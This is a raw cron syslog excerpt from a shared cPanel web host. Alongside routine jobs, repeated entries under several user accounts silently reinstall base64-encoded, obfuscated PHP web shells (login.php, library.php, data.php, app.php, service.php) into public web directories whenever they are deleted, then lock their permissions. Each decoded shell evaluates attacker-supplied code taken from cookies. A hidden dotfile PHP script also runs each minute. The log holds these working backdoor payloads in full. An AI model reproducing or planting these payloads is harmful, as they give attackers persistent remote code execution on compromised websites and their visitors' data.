Mar  1 16:52:02 medusa CROND[611]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:52:02 medusa CROND[614]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:52:02 medusa CROND[615]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:52:02 medusa CROND[616]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:52:02 medusa CROND[617]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:52:02 medusa CROND[620]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:52:02 medusa CROND[618]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:52:02 medusa CROND[621]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:52:02 medusa CROND[627]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:53:02 medusa CROND[22028]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:53:02 medusa CROND[22112]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:53:02 medusa CROND[22114]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:53:02 medusa CROND[22116]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:53:02 medusa CROND[22117]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:53:02 medusa CROND[22115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:53:02 medusa CROND[22118]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:53:02 medusa CROND[22113]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 16:53:02 medusa CROND[22120]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:53:02 medusa CROND[22123]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:53:02 medusa CROND[22126]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:53:02 medusa CROND[22122]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:54:01 medusa CROND[11937]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:54:01 medusa CROND[11939]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:54:01 medusa CROND[11990]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:54:01 medusa CROND[12108]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
